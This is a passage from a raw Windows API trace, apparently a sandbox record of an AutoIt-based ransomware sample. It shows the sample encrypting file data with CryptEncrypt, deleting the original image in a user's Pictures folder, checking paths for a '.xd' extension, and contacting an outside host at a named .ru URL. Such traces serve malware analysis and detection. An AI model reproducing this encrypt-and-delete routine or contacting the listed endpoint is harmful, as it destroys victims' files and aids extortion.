PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.119] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.120] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.120] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.120] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.120] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.120] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.120] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.120] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.120] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.121] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.121] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.121] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.121] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.121] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.121] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.121] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.121] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.121] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.121] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.121] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.121] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.121] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.122] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0060.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621750, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0060.122] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0060.122] CryptEncrypt (in: hKey=0x164c930, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xdbc7, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xdbd0) returned 1 [0060.122] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.122] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.122] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.122] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.135] CharLowerBuffW (in: lpsz="byte[56273]", cchLength=0xb | out: lpsz="byte[56273]") returned 0xb [0060.135] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.137] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.137] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.137] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.137] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0060.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621ab0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0060.137] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0060.137] CryptEncrypt (in: hKey=0x164c930, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1806160*, pdwDataLen=0x130e618*=0xdbc7, dwBufLen=0xdbd0 | out: pbData=0x1806160*, pdwDataLen=0x130e618*=0xdbd0) returned 1 [0060.138] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.138] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.138] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.138] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.138] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.138] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.138] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.138] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.138] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.138] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.138] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.139] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.139] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.139] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.139] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.139] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.139] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.143] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.143] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.143] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.143] WriteFile (in: hFile=0x3bc, lpBuffer=0x17dcdf0*, nNumberOfBytesToWrite=0xdbd0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17dcdf0*, lpNumberOfBytesWritten=0x130f01c*=0xdbd0, lpOverlapped=0x0) returned 1 [0060.145] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.145] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.145] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0060.145] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.145] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.145] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0060.145] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0060.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621480, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0060.146] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0060.146] CryptDestroyKey (hKey=0x164c930) returned 1 [0060.146] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.146] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.146] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.146] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.146] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.146] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0060.146] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0060.146] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.146] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.146] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0060.146] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.146] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.146] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.146] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.147] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.147] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.147] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.147] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.147] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.147] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.147] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.147] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.147] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0060.147] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.147] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.147] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.147] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.147] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.147] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0060.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0060.148] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0060.148] CryptReleaseContext (hProv=0x17aaab0, dwFlags=0x0) returned 1 [0060.148] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.148] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.148] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.148] FreeLibrary (hLibModule=0x74c60000) returned 1 [0060.148] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.148] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.148] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.148] CloseHandle (hObject=0x2ac) returned 1 [0060.150] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.150] CloseHandle (hObject=0x3bc) returned 1 [0060.153] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.153] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.153] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", lpFilePart=0x0) returned 0x37 [0060.153] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ywf8iarzc8wfj-lchgm2.gif")) returned 0x20 [0060.153] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c8b0 [0060.154] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ywf8iarzc8wfj-lchgm2.gif")) returned 1 [0060.158] FindNextFileW (in: hFindFile=0x164c8b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0060.159] FindClose (in: hFindFile=0x164c8b0 | out: hFindFile=0x164c8b0) returned 1 [0060.159] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.159] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.159] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.159] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.159] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0060.160] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0060.160] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.160] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0060.160] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0060.160] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0060.160] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0060.160] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ec8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620ec8, lpdwBufferLength=0x130ef8c) returned 1 [0060.160] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0060.160] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0060.160] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0060.161] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0060.161] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0060.161] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0060.161] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629220, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629220*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0060.161] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629230, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629230*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0060.161] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0060.161] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0060.162] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0060.162] CloseHandle (hObject=0x0) returned 0 [0060.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.162] CompareStringW (Locale=0x400, 